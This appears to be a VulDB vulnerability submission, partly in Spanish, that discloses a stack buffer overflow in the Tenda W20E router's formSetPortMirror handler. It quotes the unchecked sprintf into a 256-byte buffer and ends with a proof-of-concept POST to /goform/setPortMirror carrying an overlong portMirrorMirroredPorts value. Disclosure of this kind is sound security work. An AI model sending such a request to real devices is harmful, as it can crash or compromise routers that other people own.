Enviar #868930: Tenda W20E US_W20EV4.0br_V15.11.0.6(1068_1546_841)_CN_TDC.bin Buffer Overflow

A buffer overflow vulnerability was discovered in Tenda W20E V4.0br_V15.11.0.6. Attackers can exploit this vulnerability by specifying the value of portMirrorMirroredPorts. When portMirrorMirroredPorts is passed to formSetPortMirror and written into fixed-size stack buffers through sprintf/sscanf without length validation, it may cause a buffer overflow.

Technical details from the advisory:
The vulnerable component is the httpd web management interface. The vulnerable endpoint is goform/setPortMirror, registered as:
websDefineAction("setPortMirror", formSetPortMirror);

In formSetPortMirror, the attacker-controlled portMirrorMirroredPorts parameter is read from the HTTP request:
pMirroredPorts = websGetVar((Webs_1 *)wp, "portMirrorMirroredPorts", defaultGetValue__2);

The destination buffer is a fixed-size stack buffer:
char sMibValue[256];

When portMirrorEn is true, the user-controlled value is formatted into sMibValue without length validation:
sprintf(sMibValue, "1;%d;%s", 0, pMirroredPorts);

Because sprintf writes the complete portMirrorMirroredPorts string into the fixed-size sMibValue stack buffer, an overly long value can overflow the buffer and corrupt adjacent stack memory.

Conceptual proof-of-concept request:
POST /goform/setPortMirror HTTP/1.1
Host: <device-ip>
Content-Type: application/x-www-form-urlencoded

portMirrorEn=true&portMirrorMirroredPorts=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

• Fuente: ⚠️ https://github.com/lipenghai/iot_bug/blob/main/Tenda/W20E/1.md
• Usuario: stksgg (UID 97520)
• Sumisión: 2026-06-25 09:12 (hace 2 meses)
• Moderación: 2026-08-14 07:26 (2 months later)
• Estado: Duplicado
• Entrada de VulDB: 369142 [Tenda W20E 15.11.0.6 /goform/setPortMirror formSetPortMirror portMirrorMirroredPorts desbordamiento de búfer]
• Puntos: 0